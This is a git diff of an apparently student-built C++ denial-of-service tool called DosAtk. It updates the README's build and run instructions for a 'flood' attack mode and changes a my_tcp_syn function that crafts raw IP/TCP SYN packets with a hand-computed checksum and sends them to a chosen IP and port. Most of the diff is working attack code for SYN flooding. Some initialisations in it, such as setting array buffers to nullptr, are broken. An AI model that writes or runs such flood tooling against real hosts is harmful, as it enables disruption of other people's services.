diff --git a/README.md b/README.md index 42b171d..cb5d8bd 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # Как жить? Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. +Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка) ``` git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) @@ -13,15 +14,22 @@ git push origin my_dns # Пушим свою ветку в репозитори # Компиляция -Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` +Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto` +Если ошибка отсутствия заголовочных файлов, то нужно установить: + +``` +sudo apt-get install libcurl4-openssl-dev +sudo apt-get install libssl-dev +``` # Запуск Пример запуска: ``` -sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы +sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу ``` + Запускается только на Линухе! diff --git a/build.sh b/build.sh index b86066d..ce2b8a0 100755 --- a/build.sh +++ b/build.sh @@ -1,2 +1,4 @@ +#!/bin/sh +set -e # if compilation fail next command will not be executed, so older version of programm will not be launched g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto ./DosAtk "$@" diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 9a78688..14080ca 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -423,60 +423,24 @@ int my_dns() printf("end my_dns"); // debug } -unsigned short checksum(void *data, int len) -{ - /** - * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) - * - * Параметры: - * data - указатель на данные пакета - * len - длина данных в байтах - * - * Возвращает: - * 16-битную инвертированную контрольную сумму - */ - // === Объявление локальных переменных === - uint16_t *ptr; // Указатель для чтения 16-битных слов - unsigned long sum; // Аккумулятор для суммы - uint8_t *byte_ptr; // Указатель для чтения одиночного байта - // === Инициализация переменных === - ptr = (uint16_t *)data; // Инициализируем указатель на данные - sum = 0; // Начальное значение суммы - // === Основная логика процедуры === - // Суммируем 16-битные слова - while (len > 1) { - sum += *ptr++; // Добавляем текущее слово и перемещаем указатель - len -= 2; // Уменьшаем счетчик оставшихся байт - } - if (len == 1) { // Если остался непарный байт, добавляем его в сумму - byte_ptr = (uint8_t *)ptr; - sum += *byte_ptr; - } - sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) - return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму -} - - -int my_tcp_syn() -{ +int my_tcp_syn() { /* - * Отправляет TCP SYN запрос на указанный IP и порт + * Отправляет TCP SYN запрос на указанный IP и порт * status: - * 0 - запрос успешно отправлен (атака продолжается) - * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания raw-сокета - * -202 - ошибка отправки SYN-пакета + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета */ printf("start my_tcp_syn"); // debug - // === Объявление локальных переменных === int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели // Параметры подключения - uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + uint16_t target_port; // Порт цели (в сетевом порядке байт) // Структуры заголовков struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета @@ -491,6 +455,12 @@ int my_tcp_syn() // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // Переменные для встроенного расчета контрольной суммы + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; // === Инициализация переменных === sock = -1; @@ -502,6 +472,9 @@ int my_tcp_syn() pseudo_header = nullptr; temp_buf = nullptr; packet = nullptr; + checksum_ptr = 0; + checksum_sum = 0; + checksum_len = 0; // === Основная логика процедуры === // 1. Создание raw-сокета @@ -515,7 +488,10 @@ int my_tcp_syn() // 3. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; - inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + close(sock); + return -202; + } // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); @@ -546,7 +522,23 @@ int my_tcp_syn() }; memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // Встроенный расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); @@ -554,7 +546,7 @@ int my_tcp_syn() // 8. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, - (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; return -202; } else { @@ -566,7 +558,7 @@ int my_tcp_syn() return 2; } - + close(sock); printf("end my_tcp_syn"); // debug return 0; @@ -801,4 +793,4 @@ int main(int arg_ctr, char **arg_ptr) } return 0; // Возвращаем код успешного завершения -} +} \ No newline at end of file